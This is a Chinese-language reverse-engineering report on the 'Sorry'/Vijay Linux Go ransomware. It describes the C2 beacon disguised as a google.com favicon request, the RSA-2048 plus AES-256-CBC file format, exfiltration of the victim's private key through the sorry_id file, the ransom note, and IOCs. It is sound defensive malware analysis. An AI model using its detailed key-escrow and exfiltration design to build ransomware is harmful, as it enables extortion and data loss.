Sorry (Vijay) 勒索软件 — Linux Go 样本逆向分析
分析日期:2026-08-15
分析工具:IDA Pro (ida-pro-mcp)
样本:Linux 64 位 ELF,Go 语言,garble 混淆
分类:勒索软件(Ransomware)/ 混合密码学
风险等级:高(不可恢复加密,密钥外泄)
1. 样本指纹
| 属性 | 值 |
|---|---|
| SHA-256 | 2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a |
| 格式 | 64 位 ELF,静态链接 |
| 语言 | Go(garble 混淆) |
| 大小 | ≈ 5.6 MB |
| 基址 | 0x400000 |
| 函数数 | 5208 |
| 调用约定 | Go ABIInternal(参数经 RAX/RBX/RCX/RDX/RDI/RSI 传递) |
反汇编备注:garble 混淆随机化了 pclntab magic,导致标准 Go 解析器失效。函数无法按 pclntab 恢复语义,导航依赖字符串 xrefs 与汇编级寄存器追踪。
2. 家族识别
样本属于 "Sorry" / Vijay 勒索软件家族。
- 扩展名:
.sorry - 标记文件:
.sorry_exist - 受害者 ID 文件:
sorry_id - 联系渠道:qTox
- TOX ID:
3D7889AEC00F2325E1A3FBC0ACA4E521670497F11E47FDE13EADE8FED3144B5EB56D6B198724
勒索信模板(@0x6a2f4e):
Please contact us through the qtox tool
Download qtox https://github.com/qTox/qTox/blob/master/README.md#qtox
If you can't contact us, please contact some data recovery company(suggest taobao.com), may they can contact to us.
Add our TOX ID and send an encrypted file and 'Sorry-ID' for testing decryption.
Our TOX ID: %v
3. 运行行为总览
- 初始化:加载硬编码的攻击者 RSA 公钥(PEM,
@0x6a3098),初始化 crypto/rand。 - 密钥对生成:每次运行生成受害者自己的 RSA-2048 密钥对(
rsa.GenerateKey),PEM 私钥保留在内存。 - 受害者识别:采集机器信息(用户名、hostname、机器 ID、IP),生成随机前缀 ID。
- 私钥外泄:将「机器信息 + 受害者 PEM 私钥」拼接后,用攻击者公钥 RSA 加密,base64 编码,写入
~/sorry_id_{时间戳}{32位hex}。 - C2 信标:向硬编码 C2 发送 HTTP 请求(伪装 google.com/favicon.ico),上报
init/repeat/time_finished状态。 - 文件加密:遍历目标目录,对每个文件生成随机 AES-256 密钥,AES-CBC 加密内容,文件头写入 RSA 加密的密钥块,扩展名改
.sorry。 - 勒索信:落盘勒索说明,含 TOX ID。
- 双模式:二进制内置
enc/dec两种模式(dec or enc dirs, split by ,),攻击者可用dec模式解密。
4. C2 通信
| 属性 | 值 |
|---|---|
| C2 地址 | 68.183.190.253:80(DigitalOcean) |
| 协议 | HTTP GET,伪装 google.com/favicon.ico |
| UA 伪装 | Chrome |
| 超时 | 15 秒 |
| 上报动作 | repeat / init / time_finished:%v |
4.1 实测信标(运行抓包)
GET /favicon.ico HTTP/1.1
Host: google.com
Connection: close
User-Agent: Chrome-init|root|localhost|2|linux|/ce69Fih/01896FBB58E8EDEFC5A8392E467C2260|100.64.1.28
4.2 信标逐字段解析
| 字段 | 值 | 含义 |
|---|---|---|
Chrome- |
— | UA 伪装前缀 |
init |
— | 上报动作标签 |
root |
— | 当前用户名 |
localhost |
— | hostname |
2 |
— | 数字字段(来源待定) |
linux |
— | 硬编码 OS 标识 |
/ce69Fih/01896FBB58E8EDEFC5A8392E467C2260 |
— | 机器 ID(hex)+ 随机前缀 |
100.64.1.28 |
— | CGNAT 段本地 IP(非公网) |
注意:信标是受害者识别标识,不是解密密钥。信标中所有字母数字字段均为 hex/base64 编码的 ID,与文件解密密钥无关。
5. 加密架构(核心)
混合密码学:RSA-2048(PKCS#1 v1.5)+ AES-256-CBC。
5.1 文件加密格式
┌──────────────┬────────────────────────────────────┬──────────────┬─────────────────┐
│ 4B 版本(大端) │ RSA-2048 加密块 │ 4B 原始大小 │ AES-256-CBC 密文 │
│ = 4 │ AES-256 密钥(32B) + 扩展名(≤20B) │ (大端) │ │
└──────────────┴────────────────────────────────────┴──────────────┴─────────────────┘
- 版本:4 字节大端,固定为
4。 - RSA 加密块:每文件随机 AES-256 密钥 + 原扩展名(≤20 字节),用 RSA 公钥加密 → 256 字节密文块。
- 原始大小:4 字节大端,解密后用于恢复文件长度。
- 密文:AES-256-CBC。
5.2 RSA 分块加密(sub_5C2500)
- 明文数据被拆分为
(keysize − 11)字节的块(RSA-2048 → 245 字节/块)。 - 每块调用
sub_520000(rsa.EncryptPKCS1v15)加密后拼接。 sub_520320= 大数模幂(modpow)运算。- PKCS#1 v1.5 类型 2 填充(公钥加密),填充字节
0x02。
5.3 确认的加密函数
| 函数 | 地址 | 作用 |
|---|---|---|
sub_520000 |
0x520000 |
rsa.EncryptPKCS1v15(FIPS 字符串佐证) |
sub_520320 |
0x520320 |
大数模幂 |
sub_5C2500 |
0x5C2500 |
RSA 分块加密循环 |
sub_5BFBE0 |
0x5BFBE0 |
文件头生成(RSA 加密 AES key + 扩展名) |
sub_5BE980 |
0x5BE980 |
文件流加密(AES) |
sub_5BF400 |
0x5BF400 |
文件加密主循环 |
sub_520880 |
0x520880 |
rsa.GenerateKey |
6. 密钥体系
6.1 每文件 AES 密钥
- 长度:256 位 = 32 字节(
sub_5BE8C0中makeslice(0x20))。 - 内容:
crypto/rand.Read生成的原始二进制随机字节(0x00–0xFF),非字符。 - 落地形式:不以明文文本形式出现,直接 RSA 加密进文件头。
- 错误串:
gen aes fail: %w(@0x691f75)。
6.2 受害者 RSA 密钥对(每次运行生成)
sub_5C3300(INIT 流程)→rsa.GenerateKey(sub_520880)。- PEM 私钥保存在内存,从不以明文落盘。
- 私钥用于:
- 拼接进 sorry_id 加密内容(外泄给攻击者);
- SSH 配置构建(
sub_5DC8C0,curve25519-sha256@libssh.org,@0x6975ce)——疑似私钥外泄 / 解密通道。
6.3 攻击者 RSA 公钥(硬编码)
- 硬编码 PEM @
0x6a3098,由sub_5C0140解析。 - 存入
config[0x78]对象偏移 +8。 - 用于加密 sorry_id 内容与文件头 AES 密钥。
6.4 crypto/rand 全局(关键全局)
| 全局 | 地址 | 作用 |
|---|---|---|
qword_9152A0 |
0x9152a0 |
crypto/rand.Reader 接口 type 部分(静态 itab &off_6F06E0) |
qword_9152A8 |
0x9152a8 |
crypto/rand.Reader 接口 data 部分(newobject(unk_654F20) 实例) |
- 两者共同构成 io.Reader 接口值 = crypto/rand.Reader。
off_6F06E0(@0x6f06e0)为 itab 结构:{inter, type, hash, fun[0]=sub_50D5E0, ...}。sub_50D5E0= crypto/rand 懒初始化;sub_50D6A0=crypto/rand.Read包装器(字符串crypto/rand: failed to read random data (see https://go.dev/issue/66821):佐证)。
6.5 sorry_id 外泄机制(核心)
每次运行的受害者 RSA 私钥,加密后交给攻击者。
concatstring5(机器信息 + PEM私钥)
│
▼
RSA_EncryptPKCS1v15( random=crypto/rand.Reader,
pub =攻击者公钥(config[0x78] 对象[1]),
msg =拼接数据 )
│
▼
base64.EncodeToString (sub_55FF40)
│
▼
写入 ~/sorry_id_{时间戳}{32位hex} (mode 0644)
- 文件名格式字符串:
sorry_id_%v%v(@0x690c91)。 - 随机 ID:
sub_5C3160生成 16 字节随机 → hex 编码为 32 个字符(0123456789abcdef,@0x691f45)。 - 攻击者持有攻击者私钥 → 解开 sorry_id → 获得受害者 RSA 私钥 → 具备完整解密能力。
7. 解密机制(不上传内容,如何解密)
结论:加密内容永不上传,解密完全基于密钥,而密钥在加密时已交付攻击者。
- 文件内容在本地 AES-256-CBC 加密,密文留在本机,改
.sorry扩展名。 - 解密依赖钥匙而非内容:每个文件的 AES 密钥被 RSA 加密在文件头。
- 每次运行生成受害者 RSA 密钥对,受害者私钥用攻击者公钥 RSA 加密后写入
sorry_id文件(随 C2/人工渠道交到攻击者手里)。 - 攻击者解密流程:
- 用攻击者私钥解开
sorry_id→ 获得受害者 RSA 私钥; - 用私钥解每个文件头 → 获得 32 字节 AES 密钥;
- 二进制内置
dec模式(flagdec or enc dirs, split by ,,@0x69695f)逐文件解密,恢复扩展名与原始大小。
- 用攻击者私钥解开
- 勒索信「发送一个加密文件 + Sorry-ID 测试解密」成立,因攻击者已持有解密钥匙,无需上传完整内容。
8. 关键函数清单
| 函数 | 地址 | 大小 | 作用 |
|---|---|---|---|
sub_6142A0 |
0x6142a0 |
— | main(解析攻击者 PEM → config[0x78]+8;分派 enc/dec) |
sub_5C3300 |
0x5c3300 |
0x626 | INIT:生成受害者密钥对 + 构造 sorry_id |
sub_5C0140 |
0x5c0140 |
— | 解析攻击者 RSA 公钥 PEM |
sub_5C2500 |
0x5c2500 |
— | RSA 分块加密 |
sub_520000 |
0x520000 |
— | rsa.EncryptPKCS1v15 |
sub_520320 |
0x520320 |
— | 大数模幂(modpow) |
sub_520880 |
0x520880 |
— | rsa.GenerateKey |
sub_5BFBE0 |
0x5bfbe0 |
— | 文件头生成(RSA 加密 AES key + 扩展名) |
sub_5BE980 |
0x5be980 |
— | 文件流加密(AES) |
sub_5BF400 |
0x5bf400 |
0x68d | 文件加密主循环 |
sub_5BE8C0 |
0x5be8c0 |
— | AES 密钥生成(crypto/rand.Read 包装,32 字节) |
sub_5C3160 |
0x5c3160 |
— | 随机 hex ID(32 字符) |
sub_5C2D60 |
0x5c2d60 |
— | 机器信息收集 |
sub_55FF40 |
0x55ff40 |
— | base64.EncodeToString 包装器 |
sub_50D6A0 |
0x50d6a0 |
— | crypto/rand.Read 包装器 |
sub_50D5E0 |
0x50d5e0 |
— | crypto/rand 懒初始化 |
sub_5DC8C0 |
0x5dc8c0 |
— | SSH 配置构建(curve25519-sha256@libssh.org) |
sub_47E060 |
0x47e060 |
— | 通用(流/缓冲相关) |
sub_486980 |
0x486980 |
— | crypto/rand.Read 底层 |
sub_4F0A80 |
0x4f0a80 |
— | 错误处理 / panic 包装 |
sub_4E22C0 |
0x4e22c0 |
— | 空函数(rand 初始化辅助) |
9. 关键全局变量
| 全局 | 地址 | 作用 |
|---|---|---|
qword_9152A0 |
0x9152a0 |
crypto/rand.Reader type(静态 itab &off_6F06E0) |
qword_9152A8 |
0x9152a8 |
crypto/rand.Reader data(newobject 实例) |
qword_915220 / qword_915228 |
0x915220 / 0x915228 |
机器 ID 缓存 |
qword_914E58 |
0x914e58 |
logger |
dword_936C80 |
0x936c80 |
debug flag |
byte_93684A |
0x93684a |
crypto branch flag |
dword_9368D8 |
0x9368d8 |
rand init lock |
byte_93684C |
0x93684c |
rand test-failure flag |
byte_936849 |
0x936849 |
FIPS flag |
unk_634D60 |
0x634d60 |
log format |
qword_914FD0 |
0x914fd0 |
global |
qword_936820 |
0x936820 |
global(concat 缓冲相关) |
off_6F03C0 / off_6F03E0 |
0x6f03c0 / 0x6f03e0 |
方法表(文件处理) |
off_6F06E0 |
0x6f06e0 |
crypto/rand.Reader itab |
off_904AD0 / off_904AB0 / off_904AF0 |
— | SSH 算法全局 |
off_903300 |
— | ifaceeq 全局 |
unk_654F20 |
0x654f20 |
newobject 类型(reader 对象) |
10. 关键字符串
| 地址 | 字符串 | 意义 |
|---|---|---|
0x6a3098 |
(攻击者 RSA 公钥 PEM) | 硬编码公钥 |
0x6a2f4e |
勒索信模板 | qTox 联系 + TOX ID |
0x69695f |
dec or enc dirs, split by , |
enc/dec 双模式 flag |
0x690c91 |
sorry_id_%v%v |
sorry_id 文件名格式 |
0x691f45 |
0123456789abcdef |
hex 编码表 |
0x691f75 |
gen aes fail: %w |
AES key 生成错误 |
0x691f65 |
rsa enc fail: %w |
RSA 加密错误 |
0x693394 |
write head fail: %w |
文件头写入错误 |
0x693afa |
write head1 fail: %w |
文件头块写入错误 |
0x693381 |
stream enc fail: %w |
流加密错误 |
0x6975ce |
curve25519-sha256@libssh.org |
SSH 密钥交换算法 |
| — | crypto/rsa: use of PKCS#1 v1.5 encryption is not allowed in FIPS 140-only mode |
识别 rsa.EncryptPKCS1v15 |
| — | crypto/rand: failed to read random data (see https://go.dev/issue/66821): |
识别 crypto/rand |
0x696192 |
testing simulated failure |
rand 故障注入测试 |
11. 混淆与反分析
- garble 混淆:Go 编译期混淆,随机化 pclntab magic、符号名、字符串。
- Go ABI:寄存器传参,反编译器常丢失参数语义,需汇编级追踪寄存器(RAX/RBX/RCX/RDX/RDI/RSI)。
- 随机化:pclntab magic 破坏 → 标准 Go 解析器(GoReSym 等)失效;导航依赖字符串 xrefs。
- FIPS 分支:存在 FIPS 模式 flag(
byte_936849),非 FIPS 环境走 PKCS#1 v1.5。
12. 危害评估与取证要点
- 不可恢复性:无攻击者私钥则无法解密;受害者私钥已外泄,赎金支付由攻击者主导。
- 取证关键物:
~/sorry_id_*文件(含 RSA 加密的受害者私钥 + 机器信息);.sorry扩展名的加密文件(文件头含 RSA 加密的 AES 密钥);.sorry_exist标记文件;- 网络流量中的
init信标(机器 ID、IP); - 勒索信文本(TOX ID 关联攻击者身份)。
- IOC:
- C2:
68.183.190.253:80 - TOX ID:
3D7889AEC00F2325E1A3FBC0ACA4E521670497F11E47FDE13EADE8FED3144B5EB56D6B198724 - 文件特征:
.sorry/.sorry_exist/sorry_id_*
- C2:
正文完